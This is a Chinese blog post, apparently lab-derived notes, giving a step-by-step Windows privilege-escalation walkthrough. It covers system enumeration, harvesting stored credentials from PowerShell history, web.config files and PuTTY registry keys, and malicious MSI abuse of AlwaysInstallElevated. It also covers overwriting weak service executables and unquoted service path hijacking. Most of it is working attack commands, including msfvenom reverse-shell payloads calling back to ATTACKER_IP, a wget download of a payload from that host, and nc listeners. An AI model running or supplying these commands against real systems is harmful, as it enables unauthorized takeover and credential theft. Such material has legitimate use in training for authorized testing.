windows提权(1)

信息收集:

systeminfo 查询系统信息

hostname 主机名

net user 查看用户信息

netstat -ano|find "3389" 查看服务pid号

wmic os get caption 查看系统名

wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息
wmic product get name,version 查看当前安装程序

wmic service list brief 查询本机服务

wmic process list brief 查询本机进程

net share 查看本机共享列表

netsh firewall show config 查看防火墙配置

查看windows的历史命令

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

windows存储密码的地方:

C:/Windows/System32/config

保存的凭据:

cmdkey /list

虽然看不到密码,但是可猜测用户,用来暴力破解密码:

runas /savecred /user:admin cmd.exe

IIS配置,IIS是windows默认安装的web服务器,IIS 上的网站配置存储在调用的文件中,可以存储数据库或配置的身份验证机制的密码

C:\inetpub\wwwroot\web.config C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString 可以快速在文件上查找数据库连接字符串

从软件中提权:PUTTY

        PuTTY是Windows系统上常见的SSH客户端。用户不必每次都指定连接的参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其 SSH 密码,但它将存储包含明文身份验证凭据的代理配置。

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s 在注册表项下搜索代理密码        

计划任务:

查看目标系统上的计划任务,您可能会看到计划任务丢失了其二进制文件,或者正在使用您可以修改的二进制文件。

schtasks /query /tn vulntask /fo list /v 要查看当前用户是否可以修改或覆盖“要运行的任务”可执行文件: icacls 文件

安装程序权限提升:

        Windows 安装程序文件(也称为.msi文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,可以将这些配置为从任何用户帐户(甚至是非特权用户帐户)以更高的权限运行。这可能会允许我们生成以管理员权限运行的恶意 MSI 文件。

    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

     reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

        为了能够利用此漏洞,应同时设置这两个漏洞。否则,将无法进行开发。如果设置了这些, 则可以使用 生成恶意.msi文件,如下所示:

msfvenom msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.147.61 LPORT=LOCAL_PORT -f msi -o malicious.msi

        由于这是一个反向外壳,您还应该运行相应配置的 Metasploit 处理程序模块。 传输已创建的文件后,可以使用以下命令运行安装程序并接收反向 shell:

         msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Windows 服务由服务控制管理器 (SCM) 管理。

SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态以及通常提供配置服务的方法的过程。

Windows 计算机上的每个服务都有一个关联的可执行文件,每当启动服务时,SCM 都会运行该可执行文件。请务必注意,服务可执行文件实现特殊功能以便能够与 SCM 通信,因此无法将任何可执行文件作为服务成功启动。每个服务还指定将在其下运行服务的用户帐户。

sc qc apphostsvcaa

sc qc WindowsScheduler

我们可以看到,易受攻击的软件安装的服务以 svcuser1 的形式运行,并且与该服务关联的可执行文件在 .然后,我们继续检查可执行文件的权限:

C:\Progra~2\System~1\WService.exe icacls

C:\PROGRA~2\SYSTEM~1\WService.exe

在这里,我们有一些有趣的东西。“所有人”组对服务的可执行文件具有修改权限 (M)。这意味着我们可以简单地用我们偏好的任何有效负载覆盖它,服务将以配置的用户帐户的权限执行它。

让我们使用 msfvenom 生成一个 exe-service payload,并通过 python Web 服务器提供它:         wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

         cd C:\PROGRA~2\SYSTEM~1\

        move WService.exe WService.exe.bkp

        move C:\Users\thm-unpriv\rev-svc.exe WService.exe

         icacls WService.exe /grant Everyone:F

        然后攻击机上启动nc或者mesfconsole

        sc stop windowsscheduler

        sc start windowsscheduler

正常情况下可能要等待服务重新启动

未带引号的服务路径(Unquoted Service Paths)

当我们无法像以前一样直接写入服务可执行文件时,可能仍然有机会通过使用相当模糊的功能强制服务运行任意可执行文件。

使用 Windows 服务时,当服务配置为指向“未引号”可执行文件时,会发生非常特殊的行为。通过不引号,我们的意思是关联可执行文件的路径没有正确引用以考虑命令上的空格。

SCM 不会像预期的那样失败,而是尝试帮助用户并开始按表中所示的顺序搜索每个二进制文件:

  1. 首先,搜索 .如果存在,服务将运行此可执行文件。

C:\\MyPrograms\\Disk.exe

  1. 如果后者不存在,它将搜索 .如果存在,服务将运行此可执行文件。

C:\\MyPrograms\\Disk Sorter.exe

  1. 如果后者不存在,它将搜索 .此选项预计会成功,并且通常会在默认安装中运行。

C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe

从这种行为中,问题变得很明显。如果攻击者创建在预期的服务可执行文件之前搜索的任何可执行文件,他们可以强制服务运行任意可执行文件。

可以列举出所有的路径中不含引号的:

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

icacls  c:\MyPrograms

该组具有 AD 和 WD 权限,允许用户分别创建子目录和文件。

        使用 msfvenom 创建 exe-service 有效负载并将其传输到目标主机的过程与以前相同,因此请随意创建以下有效负载并将其像以前一样上传到服务器。我们还将启动一个侦听器,以便在执行反向 shell 时接收它:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe

有效负载进入服务器后,将其移动到可能发生劫持的任何位置。在这种情况下,我们将有效负载移动到 我们还将授予每个人对文件的完全权限,以确保它可以由服务执行

         move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

         icacls C:\MyPrograms\Disk.exe /grant Everyone:F

重新启动服务后,有效负载应执行:

sc stop "disk sorter enterprise"

sc start "disk sorter enterprise" (正常情况下,应该等待服务进行重启)

案例:

首先上传PowerUP

Invoke-AllChecks

请密切注意设置为 true 的“可以重新启动”选项。显示为未带引号的服务路径漏洞的服务的名称

msfvenom -p windows/shell_reverse_tcp LHOST=<attacker ip> LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe

现在我们生成了一个名为 ASCService.exe 的反向 shell。

sc stop AdvancedSystemCareService9

copy ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"

nc -lvnp 4443

sc start AdvancedSystemCareService9 `

然后就拥有了访问权限

  • 9
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

claydemo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值